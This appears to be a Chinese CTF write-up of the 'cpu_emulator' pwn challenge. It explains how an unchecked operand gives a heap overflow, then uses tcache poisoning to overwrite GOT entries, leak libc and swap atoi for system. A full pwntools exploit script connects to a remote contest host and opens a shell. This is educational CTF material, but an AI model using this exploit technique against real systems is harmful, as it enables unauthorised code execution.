上海大学生网络安全赛cpu_emulator

该博客详细介绍了如何通过程序分析发现堆溢出漏洞,利用该漏洞操纵GOT表,最终实现getshell。首先构造堆溢出条件,接着泄露libc地址,再修改GOT表中的函数指针,最后通过system调用获取shell。整个过程涉及堆管理、内存布局和 libc 漏洞利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

程序分析

  • 指令是4B一组,共32位,第一种指令格式为|6|5|5|16|,代表指令类型、Ope1、Ope2、Ope3

先不关注第二种指令类型

根据BrainFuck的经验,考虑这里有没有Stack/Buffer的溢出,Stack在bss上,溢出只能打到stdou指针,很少是这种。Buffer在堆上,堆溢出较为常见,并且是2.27的libc。因此本题思路位:通过指令的不合法操作数,造成堆溢出来getshell

 

思路

先考虑咋构造处一个堆溢出,考虑指令0x2B,只要让stack[Ope1]+Ope3大于申请的堆长度即可,]

Buffer为0x10000

Ope3有16bit,最大为0xFFFF,只要Stack[Ope1]大于1就有一个堆溢出

 

因为got保护不全,所以直接劫持到got表

 

还有个问题,题目只能先free再malloc,对于T->A->B的情况,会永远也申请不到B

这里有两个解决方法:

  • 再次利用堆溢出,修改A的size
  • 直接利用partial overwite打Tcache结构体

由于先free在malloc的限制,无法构造出堆上T->A->B的情况,所以只能修改size来大got表

 

下面考虑怎么泄露地址

如果打free@got会造成puts@got为空

 

Tcache分配到got表前面即可

 

EXP

#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

#sh = process('./emulator')
elf = ELF('./emulator')
libc = ELF('./libc.so.6')

sh = remote('123.56.52.128', 18236)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]

def Log(val):
	log.success('%s = %s'%(str(val), hex(eval(val))))

#|6|5|5|16|
def MakeIns(cmd1, ope1, ope2, ope3):
	return p32((ope3)|(ope2<<16)|(ope1<<21)|(cmd1<<26))

def Cmd(i):
	sh.sendlineafter('>> ', str(i))

def Input(L, ins):
	Cmd(1)
	sh.sendlineafter('instruction size:\n', str(L))
	sh.recvuntil('instruction:\n')
	sh.send(ins)

def Run():
	Cmd(2)		

def WriteByte(pos, val):
	ins = MakeIns(0x8, 0, 1, pos+1)	#Stack[1] = Stack[0] + pos = pos
	ins+= MakeIns(0x8, 2, 3, val)	#Stack[3] = Stack[2] + val = val
	ins+= MakeIns(0x2B, 1, 3, 0xFFFF)
	return ins

Input(0x50, 'A'*0x50)				#Tcahce->A
Input(0x60, 'C'*0x60)

ins = WriteByte(16, 0x10)			#Tcache->A->free@GOT-8	
ins+= WriteByte(17, 0x20)
ins+= WriteByte(18, 0x60)
Input(len(ins), ins)
Run()

ins = WriteByte(8, 0x51)			#foirge chunk1's size
Input(0x50, ins.ljust(0x50, '\x00'))#Tcache->free@GOT-8
Run()				

Input(0x50, p64(elf.plt['puts'])*2)#free@GOT=puts@PLT

ins = WriteByte(16, 0x58)			#Tcahce->0x50->atoi@GOT
ins+= WriteByte(17, 0x20)
ins+= WriteByte(18, 0x60)
Input(len(ins), ins)
Run()
			
Input(0x40, 'B'*0x40)
Input(0x40, p8(0xa0))

Cmd(1)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - libc.symbols['atoi']
Log('libc.address')

sh.sendlineafter('instruction size:\n', str(0x30))
sh.recvuntil('instruction:\n')
sh.send('B'*0x30)

ins = WriteByte(0x60+16, 0x58)			#Tcahce->0x70->atoi@GOT
ins+= WriteByte(0x60+17, 0x20)
ins+= WriteByte(0x60+18, 0x60)
Input(len(ins), ins)
Run()

Input(0x60, 'C'*0x60)
Input(0x60, p64(libc.symbols['system']))

sh.recvuntil('>> ')
sh.send('/bin/sh\x00')

#gdb.attach(sh, 'break *0x4011EC')



sh.interactive()

'''
Run High6bit!=0 0x400E9F
ReadIns			0x400A40
switch jmp		0x400ECB
malloc			0x4011EC

Stack			0x6020E0
Buffer			
'''

总结

利用模拟器的边界未检查得到一个堆溢出,然后利用Tcache打GOT表

但这里的malloc最后会有一个mov [rdx+0x8], 0;指令,导致直接覆盖free时会让puts为0,可以通过分配到free@GOT-0x8解决

劫持free为puts之后再次劫持Tcache分配chunk到GOT表,这样在free时就可以泄露libc地址

然后再次劫持Tcache分配chunk到GOT表,修改atoi为system从而getshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值